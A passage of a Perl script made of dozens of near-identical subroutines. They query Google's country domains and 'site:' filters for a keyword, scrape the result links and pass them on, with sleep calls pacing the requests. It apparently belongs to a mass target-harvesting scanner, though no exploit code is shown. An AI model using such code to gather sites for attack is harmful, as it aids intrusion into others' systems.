  2000. for (my $i=0; $i<=1000; $i+=100){
  2001. my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2002. my $res = &search_engine_query($search);
  2003. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2004. my $link = $1;
  2005. if ($link !~ /googleCU/){
  2006. my @grep = links($link);
  2007. push(@list,@grep);
  2008. }
  2009. }
  2010. }
  2011. return @list;
  2012. }
  2013. sleep(3);
  2014. sub googleCL() {
  2015. my @list;
  2016. my $key = $_[0];
  2017. for (my $i=0; $i<=1000; $i+=100){
  2018. my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2019. my $res = &search_engine_query($search);
  2020. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2021. my $link = $1;
  2022. if ($link !~ /googleCL/){
  2023. my @grep = links($link);
  2024. push(@list,@grep);
  2025. }
  2026. }
  2027. }
  2028. return @list;
  2029. }
  2030.  
  2031. sub googleMX() {
  2032. my @list;
  2033. my $key = $_[0];
  2034. for (my $i=0; $i<=1000; $i+=100){
  2035. my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2036. my $res = &search_engine_query($search);
  2037. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2038. my $link = $1;
  2039. if ($link !~ /googleMX/){
  2040. my @grep = links($link);
  2041. push(@list,@grep);
  2042. }
  2043. }
  2044. }
  2045. return @list;
  2046. }
  2047.  
  2048. sub googleAU() {
  2049. my @list;
  2050. my $key = $_[0];
  2051. for (my $i=0; $i<=1000; $i+=100){
  2052. my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2053. my $res = &search_engine_query($search);
  2054. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2055. my $link = $1;
  2056. if ($link !~ /googleAU/){
  2057. my @grep = links($link);
  2058. push(@list,@grep);
  2059. }
  2060. }
  2061. }
  2062. return @list;
  2063. }
  2064. sleep(3);
  2065. sub googleRU() {
  2066. my @list;
  2067. my $key = $_[0];
  2068. for (my $i=0; $i<=1000; $i+=100){
  2069. my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2070. my $res = &search_engine_query($search);
  2071. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2072. my $link = $1;
  2073. if ($link !~ /googleRU/){
  2074. my @grep = links($link);
  2075. push(@list,@grep);
  2076. }
  2077. }
  2078. }
  2079. return @list;
  2080. }
  2081.  
  2082. sub googleAT() {
  2083. my @list;
  2084. my $key = $_[0];
  2085. for (my $i=0; $i<=1000; $i+=100){
  2086. my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2087. my $res = &search_engine_query($search);
  2088. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2089. my $link = $1;
  2090. if ($link !~ /googleAT/){
  2091. my @grep = links($link);
  2092. push(@list,@grep);
  2093. }
  2094. }
  2095. }
  2096. return @list;
  2097. }
  2098.  
  2099. sub googlePL() {
  2100. my @list;
  2101. my $key = $_[0];
  2102. for (my $i=0; $i<=1000; $i+=100){
  2103. my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2104. my $res = &search_engine_query($search);
  2105. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2106. my $link = $1;
  2107. if ($link !~ /googlePL/){
  2108. my @grep = links($link);
  2109. push(@list,@grep);
  2110. }
  2111. }
  2112. }
  2113. return @list;
  2114. }
  2115. sleep(4);
  2116. sub googleIL() {
  2117. my @list;
  2118. my $key = $_[0];
  2119. for (my $i=0; $i<=1000; $i+=100){
  2120. my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2121. my $res = &search_engine_query($search);
  2122. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2123. my $link = $1;
  2124. if ($link !~ /googleIL/){
  2125. my @grep = links($link);
  2126. push(@list,@grep);
  2127. }
  2128. }
  2129. }
  2130. return @list;
  2131. }
  2132.  
  2133. sub googleTR() {
  2134. my @list;
  2135. my $key = $_[0];
  2136. for (my $i=0; $i<=1000; $i+=100){
  2137. my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2138. my $res = &search_engine_query($search);
  2139. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2140. my $link = $1;
  2141. if ($link !~ /googleTR/){
  2142. my @grep = links($link);
  2143. push(@list,@grep);
  2144. }
  2145. }
  2146. }
  2147. return @list;
  2148. }
  2149.  
  2150. sub googleUA() {
  2151. my @list;
  2152. my $key = $_[0];
  2153. for (my $i=0; $i<=1000; $i+=100){
  2154. my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2155. my $res = &search_engine_query($search);
  2156. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2157. my $link = $1;
  2158. if ($link !~ /googleUA/){
  2159. my @grep = links($link);
  2160. push(@list,@grep);
  2161. }
  2162. }
  2163. }
  2164. return @list;
  2165. }
  2166. sleep(3);
  2167. sub googleGR() {
  2168. my @list;
  2169. my $key = $_[0];
  2170. for (my $i=0; $i<=1000; $i+=100){
  2171. my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2172. my $res = &search_engine_query($search);
  2173. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2174. my $link = $1;
  2175. if ($link !~ /googleGR/){
  2176. my @grep = links($link);
  2177. push(@list,@grep);
  2178. }
  2179. }
  2180. }
  2181. return @list;
  2182. }
  2183.  
  2184. sub googleJP() {
  2185. my @list;
  2186. my $key = $_[0];
  2187. for (my $i=0; $i<=1000; $i+=100){
  2188. my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2189. my $res = &search_engine_query($search);
  2190. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2191. my $link = $1;
  2192. if ($link !~ /googleJP/){
  2193. my @grep = links($link);
  2194. push(@list,@grep);
  2195. }
  2196. }
  2197. }
  2198. return @list;
  2199. }
  2200.  
  2201. sub googleCN() {
  2202. my @list;
  2203. my $key = $_[0];
  2204. for (my $i=0; $i<=1000; $i+=100){
  2205. my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2206. my $res = &search_engine_query($search);
  2207. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2208. my $link = $1;
  2209. if ($link !~ /googleCN/){
  2210. my @grep = links($link);
  2211. push(@list,@grep);
  2212. }
  2213. }
  2214. }
  2215. return @list;
  2216. }
  2217. sleep(3);
  2218. sub googleMY() {
  2219. my @list;
  2220. my $key = $_[0];
  2221. for (my $i=0; $i<=1000; $i+=100){
  2222. my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2223. my $res = &search_engine_query($search);
  2224. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2225. my $link = $1;
  2226. if ($link !~ /googleMY/){
  2227. my @grep = links($link);
  2228. push(@list,@grep);
  2229. }
  2230. }
  2231. }
  2232. return @list;
  2233. }
  2234.  
  2235. sub googleTH() {
  2236. my @list;
  2237. my $key = $_[0];
  2238. for (my $i=0; $i<=1000; $i+=100){
  2239. my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2240. my $res = &search_engine_query($search);
  2241. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2242. my $link = $1;
  2243. if ($link !~ /googleTH/){
  2244. my @grep = links($link);
  2245. push(@list,@grep);
  2246. }
  2247. }
  2248. }
  2249. return @list;
  2250. }
  2251.  
  2252. sub googleIN() {
  2253. my @list;
  2254. my $key = $_[0];
  2255. for (my $i=0; $i<=1000; $i+=100){
  2256. my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2257. my $res = &search_engine_query($search);
  2258. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2259. my $link = $1;
  2260. if ($link !~ /googleIN/){
  2261. my @grep = links($link);
  2262. push(@list,@grep);
  2263. }
  2264. }
  2265. }
  2266. return @list;
  2267. }
  2268. sleep(3);
  2269. sub googleKR() {
  2270. my @list;
  2271. my $key = $_[0];
  2272. for (my $i=0; $i<=1000; $i+=100){
  2273. my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2274. my $res = &search_engine_query($search);
  2275. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2276. my $link = $1;
  2277. if ($link !~ /googleKR/){
  2278. my @grep = links($link);
  2279. push(@list,@grep);
  2280. }
  2281. }
  2282. }
  2283. return @list;
  2284. }
  2285.  
  2286. sub googleRO() {
  2287. my @list;
  2288. my $key = $_[0];
  2289. for (my $i=0; $i<=1000; $i+=100){
  2290. my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2291. my $res = &search_engine_query($search);
  2292. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2293. my $link = $1;
  2294. if ($link !~ /googleRO/){
  2295. my @grep = links($link);
  2296. push(@list,@grep);
  2297. }
  2298. }
  2299. }
  2300. return @list;
  2301. }
  2302.  
  2303. sub googleTW() {
  2304. my @list;
  2305. my $key = $_[0];
  2306. for (my $i=0; $i<=1000; $i+=100){
  2307. my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2308. my $res = &search_engine_query($search);
  2309. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2310. my $link = $1;
  2311. if ($link !~ /googleTW/){
  2312. my @grep = links($link);
  2313. push(@list,@grep);
  2314. }
  2315. }
  2316. }
  2317. return @list;
  2318. }
  2319. sleep(3);
  2320. sub googleZA() {
  2321. my @list;
  2322. my $key = $_[0];
  2323. for (my $i=0; $i<=1000; $i+=100){
  2324. my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2325. my $res = &search_engine_query($search);
  2326. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2327. my $link = $1;
  2328. if ($link !~ /googleZA/){
  2329. my @grep = links($link);
  2330. push(@list,@grep);
  2331. }
  2332. }
  2333. }
  2334. return @list;
  2335. }
  2336.  
  2337. sub googlePT() {
  2338. my @list;
  2339. my $key = $_[0];
  2340. for (my $i=0; $i<=1000; $i+=100){
  2341. my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  2342. my $res = &search_engine_query($search);
  2343. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2344. my $link = $1;
  2345. if ($link !~ /googlePT/){
  2346. my @grep = links($link);
  2347. push(@list,@grep);
  2348. }
  2349. }
  2350. }
  2351. return @list;
  2352. }
  2353.  
  2354. sub uk() {
  2355. my @list;
  2356. my $key = $_[0];
  2357. for (my $i=0; $i<=1000; $i+=100){
  2358. my $search = ($jack1.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i);
  2359. my $res = &search_engine_query($search);
  2360. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2361. my $link = $1;
  2362. if ($link !~ /google/){
  2363. my @grep = &links($link);
  2364. push(@list,@grep);
  2365. }
  2366. }
  2367. }
  2368. return @list;
  2369. }
  2370.  
  2371. sub br() {
  2372. my @list;
  2373. my $key = $_[0];
  2374. for (my $i=0; $i<=1000; $i+=100){
  2375. my $search = ($jack2.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i);
  2376. my $res = &search_engine_query($search);
  2377. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2378. my $link = $1;
  2379. if ($link !~ /google/){
  2380. my @grep = &links($link);
  2381. push(@list,@grep);
  2382. }
  2383. }
  2384. }
  2385. return @list;
  2386. }
  2387.  
  2388. sub se() {
  2389. my @list;
  2390. my $key = $_[0];
  2391. for (my $i=0; $i<=1000; $i+=100){
  2392. my $search = ($jack3.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i);
  2393. my $res = &search_engine_query($search);
  2394. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2395. my $link = $1;
  2396. if ($link !~ /google/){
  2397. my @grep = &links($link);
  2398. push(@list,@grep);
  2399. }
  2400. }
  2401. }
  2402. return @list;
  2403. }
  2404.  
  2405. sub ar() {
  2406. my @list;
  2407. my $key = $_[0];
  2408. for (my $i=0; $i<=1000; $i+=100){
  2409. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i);
  2410. my $res = &search_engine_query($search);
  2411. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2412. my $link = $1;
  2413. if ($link !~ /google/){
  2414. my @grep = &links($link);
  2415. push(@list,@grep);
  2416. }
  2417. }
  2418. }
  2419. return @list;
  2420. }
  2421.  
  2422. sub by() {
  2423. my @list;
  2424. my $key = $_[0];
  2425. for (my $i=0; $i<=1000; $i+=100){
  2426. my $search = ($jack5.uri_escape($key)."%2Bsite%3Aby%26num%3D100%26start%3D".$i);
  2427. my $res = &search_engine_query($search);
  2428. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2429. my $link = $1;
  2430. if ($link !~ /google/){
  2431. my @grep = &links($link);
  2432. push(@list,@grep);
  2433. }
  2434. }
  2435. }
  2436. return @list;
  2437. }
  2438.  
  2439. sub ru() {
  2440. my @list;
  2441. my $key = $_[0];
  2442. for (my $i=0; $i<=1000; $i+=100){
  2443. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i);
  2444. my $res = &search_engine_query($search);
  2445. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2446. my $link = $1;
  2447. if ($link !~ /google/){
  2448. my @grep = &links($link);
  2449. push(@list,@grep);
  2450. }
  2451. }
  2452. }
  2453. return @list;
  2454. }
  2455.  
  2456. sub ph() {
  2457. my @list;
  2458. my $key = $_[0];
  2459. for (my $i=0; $i<=1000; $i+=100){
  2460. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i);
  2461. my $res = &search_engine_query($search);
  2462. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2463. my $link = $1;
  2464. if ($link !~ /google/){
  2465. my @grep = &links($link);
  2466. push(@list,@grep);
  2467. }
  2468. }
  2469. }
  2470. return @list;
  2471. }
  2472.  
  2473. sub net() {
  2474. my @list;
  2475. my $key = $_[0];
  2476. for (my $i=0; $i<=1000; $i+=100){
  2477. my $search = ($jack1.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i);
  2478. my $res = &search_engine_query($search);
  2479. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2480. my $link = $1;
  2481. if ($link !~ /google/){
  2482. my @grep = &links($link);
  2483. push(@list,@grep);
  2484. }
  2485. }
  2486. }
  2487. return @list;
  2488. }
  2489.  
  2490. sub ca() {
  2491. my @list;
  2492. my $key = $_[0];
  2493. for (my $i=0; $i<=1000; $i+=100){
  2494. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i);
  2495. my $res = &search_engine_query($search);
  2496. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2497. my $link = $1;
  2498. if ($link !~ /google/){
  2499. my @grep = &links($link);
  2500. push(@list,@grep);
  2501. }
  2502. }
  2503. }
  2504. return @list;
  2505. }
  2506.  
  2507. sub es() {
  2508. my @list;
  2509. my $key = $_[0];
  2510. for (my $i=0; $i<=1000; $i+=100){
  2511. my $search = ($jack3.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i);
  2512. my $res = &search_engine_query($search);
  2513. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2514. my $link = $1;
  2515. if ($link !~ /google/){
  2516. my @grep = &links($link);
  2517. push(@list,@grep);
  2518. }
  2519. }
  2520. }
  2521. return @list;
  2522. }
  2523.  
  2524. sub com() {
  2525. my @list;
  2526. my $key = $_[0];
  2527. for (my $i=0; $i<=1000; $i+=100){
  2528. my $search = ($jack4.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i);
  2529. my $res = &search_engine_query($search);
  2530. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2531. my $link = $1;
  2532. if ($link !~ /google/){
  2533. my @grep = &links($link);
  2534. push(@list,@grep);
  2535. }
  2536. }
  2537. }
  2538. return @list;
  2539. }
  2540.  
  2541. sub it() {
  2542. my @list;
  2543. my $key = $_[0];
  2544. for (my $i=0; $i<=1000; $i+=100){
  2545. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i);
  2546. my $res = &search_engine_query($search);
  2547. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2548. my $link = $1;
  2549. if ($link !~ /google/){
  2550. my @grep = &links($link);
  2551. push(@list,@grep);
  2552. }
  2553. }
  2554. }
  2555. return @list;
  2556. }
  2557.  
  2558. sub mx() {
  2559. my @list;
  2560. my $key = $_[0];
  2561. for (my $i=0; $i<=1000; $i+=100){
  2562. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i);
  2563. my $res = &search_engine_query($search);
  2564. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2565. my $link = $1;
  2566. if ($link !~ /google/){
  2567. my @grep = &links($link);
  2568. push(@list,@grep);
  2569. }
  2570. }
  2571. }
  2572. return @list;
  2573. }
  2574.  
  2575. sub cl() {
  2576. my @list;
  2577. my $key = $_[0];
  2578. for (my $i=0; $i<=1000; $i+=100){
  2579. my $search = ($jack1.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i);
  2580. my $res = &search_engine_query($search);
  2581. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2582. my $link = $1;
  2583. if ($link !~ /google/){
  2584. my @grep = &links($link);
  2585. push(@list,@grep);
  2586. }
  2587. }
  2588. }
  2589. return @list;
  2590. }
  2591.  
  2592. sub jp() {
  2593. my @list;
  2594. my $key = $_[0];
  2595. for (my $i=0; $i<=1000; $i+=100){
  2596. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i);
  2597. my $res = &search_engine_query($search);
  2598. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2599. my $link = $1;
  2600. if ($link !~ /google/){
  2601. my @grep = &links($link);
  2602. push(@list,@grep);
  2603. }
  2604. }
  2605. }
  2606. return @list;
  2607. }
  2608.  
  2609. sub de() {
  2610. my @list;
  2611. my $key = $_[0];
  2612. for (my $i=0; $i<=1000; $i+=100){
  2613. my $search = ($jack1.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i);
  2614. my $res = &search_engine_query($search);
  2615. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2616. my $link = $1;
  2617. if ($link !~ /google/){
  2618. my @grep = &links($link);
  2619. push(@list,@grep);
  2620. }
  2621. }
  2622. }
  2623. return @list;
  2624. }
  2625.  
  2626. sub au() {
  2627. my @list;
  2628. my $key = $_[0];
  2629. for (my $i=0; $i<=1000; $i+=100){
  2630. my $search = ($jack2.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i);
  2631. my $res = &search_engine_query($search);
  2632. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2633. my $link = $1;
  2634. if ($link !~ /google/){
  2635. my @grep = &links($link);
  2636. push(@list,@grep);
  2637. }
  2638. }
  2639. }
  2640. return @list;
  2641. }
  2642.  
  2643. sub nl() {
  2644. my @list;
  2645. my $key = $_[0];
  2646. for (my $i=0; $i<=1000; $i+=100){
  2647. my $search = ($jack3.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i);
  2648. my $res = &search_engine_query($search);
  2649. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2650. my $link = $1;
  2651. if ($link !~ /google/){
  2652. my @grep = &links($link);
  2653. push(@list,@grep);
  2654. }
  2655. }
  2656. }
  2657. return @list;
  2658. }
  2659.  
  2660. sub ro() {
  2661. my @list;
  2662. my $key = $_[0];
  2663. for (my $i=0; $i<=1000; $i+=100){
  2664. my $search = ($jack4.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i);
  2665. my $res = &search_engine_query($search);
  2666. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2667. my $link = $1;
  2668. if ($link !~ /google/){
  2669. my @grep = &links($link);
  2670. push(@list,@grep);
  2671. }
  2672. }
  2673. }
  2674. return @list;
  2675. }
  2676.  
  2677. sub fr() {
  2678. my @list;
  2679. my $key = $_[0];
  2680. for (my $i=0; $i<=1000; $i+=100){
  2681. my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i);
  2682. my $res = &search_engine_query($search);
  2683. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2684. my $link = $1;
  2685. if ($link !~ /google/){
  2686. my @grep = &links($link);
  2687. push(@list,@grep);
  2688. }
  2689. }
  2690. }
  2691. return @list;
  2692. }
  2693.  
  2694. sub cz() {
  2695. my @list;
  2696. my $key = $_[0];
  2697. for (my $i=0; $i<=1000; $i+=100){
  2698. my $search = ($jack6.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i);
  2699. my $res = &search_engine_query($search);
  2700. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2701. my $link = $1;
  2702. if ($link !~ /google/){
  2703. my @grep = &links($link);
  2704. push(@list,@grep);
  2705. }
  2706. }
  2707. }
  2708. return @list;
  2709. }
  2710.  
  2711. sub dk() {
  2712. my @list;
  2713. my $key = $_[0];
  2714. for (my $i=0; $i<=1000; $i+=100){
  2715. my $search = ($jack7.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i);
  2716. my $res = &search_engine_query($search);
  2717. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2718. my $link = $1;
  2719. if ($link !~ /google/){
  2720. my @grep = &links($link);
  2721. push(@list,@grep);
  2722. }
  2723. }
  2724. }
  2725. return @list;
  2726. }
  2727.  
  2728. sub biz() {
  2729. my @list;
  2730. my $key = $_[0];
  2731. for (my $i=0; $i<=1000; $i+=100){
  2732. my $search = ($jack1.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i);
  2733. my $res = &search_engine_query($search);
  2734. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2735. my $link = $1;
  2736. if ($link !~ /google/){
  2737. my @grep = &links($link);
  2738. push(@list,@grep);
  2739. }
  2740. }
  2741. }
  2742. return @list;
  2743. }
  2744.  
  2745. sub cat() {
  2746. my @list;
  2747. my $key = $_[0];
  2748. for (my $i=0; $i<=1000; $i+=100){
  2749. my $search = ($jack2.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i);
  2750. my $res = &search_engine_query($search);
  2751. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2752. my $link = $1;
  2753. if ($link !~ /google/){
  2754. my @grep = &links($link);
  2755. push(@list,@grep);
  2756. }
  2757. }
  2758. }
  2759. return @list;
  2760. }
  2761.  
  2762. sub ir() {
  2763. my @list;
  2764. my $key = $_[0];
  2765. for (my $i=0; $i<=1000; $i+=100){
  2766. my $search = ($jack3.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i);
  2767. my $res = &search_engine_query($search);
  2768. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2769. my $link = $1;
  2770. if ($link !~ /google/){
  2771. my @grep = &links($link);
  2772. push(@list,@grep);
  2773. }
  2774. }
  2775. }
  2776. return @list;
  2777. }
  2778.  
  2779. sub hk() {
  2780. my @list;
  2781. my $key = $_[0];
  2782. for (my $i=0; $i<=1000; $i+=100){
  2783. my $search = ($jack4.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i);
  2784. my $res = &search_engine_query($search);
  2785. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2786. my $link = $1;
  2787. if ($link !~ /google/){
  2788. my @grep = &links($link);
  2789. push(@list,@grep);
  2790. }
  2791. }
  2792. }
  2793. return @list;
  2794. }
  2795.  
  2796. sub me() {
  2797. my @list;
  2798. my $key = $_[0];
  2799. for (my $i=0; $i<=1000; $i+=100){
  2800. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i);
  2801. my $res = &search_engine_query($search);
  2802. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2803. my $link = $1;
  2804. if ($link !~ /google/){
  2805. my @grep = &links($link);
  2806. push(@list,@grep);
  2807. }
  2808. }
  2809. }
  2810. return @list;
  2811. }
  2812.  
  2813. sub us() {
  2814. my @list;
  2815. my $key = $_[0];
  2816. for (my $i=0; $i<=1000; $i+=100){
  2817. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i);
  2818. my $res = &search_engine_query($search);
  2819. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2820. my $link = $1;
  2821. if ($link !~ /google/){
  2822. my @grep = &links($link);
  2823. push(@list,@grep);
  2824. }
  2825. }
  2826. }
  2827. return @list;
  2828. }
  2829.  
  2830. sub cn() {
  2831. my @list;
  2832. my $key = $_[0];
  2833. for (my $i=0; $i<=1000; $i+=100){
  2834. my $search = ($jack3.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i);
  2835. my $res = &search_engine_query($search);
  2836. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2837. my $link = $1;
  2838. if ($link !~ /google/){
  2839. my @grep = &links($link);
  2840. push(@list,@grep);
  2841. }
  2842. }
  2843. }
  2844. return @list;
  2845. }
  2846.  
  2847. sub ve() {
  2848. my @list;
  2849. my $key = $_[0];
  2850. for (my $i=0; $i<=1000; $i+=100){
  2851. my $search = ($jack4.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i);
  2852. my $res = &search_engine_query($search);
  2853. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2854. my $link = $1;
  2855. if ($link !~ /google/){
  2856. my @grep = &links($link);
  2857. push(@list,@grep);
  2858. }
  2859. }
  2860. }
  2861. return @list;
  2862. }
  2863.  
  2864. sub tw() {
  2865. my @list;
  2866. my $key = $_[0];
  2867. for (my $i=0; $i<=1000; $i+=100){
  2868. my $search = ($jack1.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i);
  2869. my $res = &search_engine_query($search);
  2870. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2871. my $link = $1;
  2872. if ($link !~ /google/){
  2873. my @grep = &links($link);
  2874. push(@list,@grep);
  2875. }
  2876. }
  2877. }
  2878. return @list;
  2879. }
  2880.  
  2881. sub info() {
  2882. my @list;
  2883. my $key = $_[0];
  2884. for (my $i=0; $i<=1000; $i+=100){
  2885. my $search = ($jack2.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i);
  2886. my $res = &search_engine_query($search);
  2887. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  2888. my $link = $1;
  2889. if ($link !~ /google/){
  2890. my @grep = &links($link);
  2891. push(@list,@grep);
  2892. }
  2893. }
  2894. }
  2895. return @list;
  2896. }
  2897.  
  2898. sub kr() {
  2899. my @list;
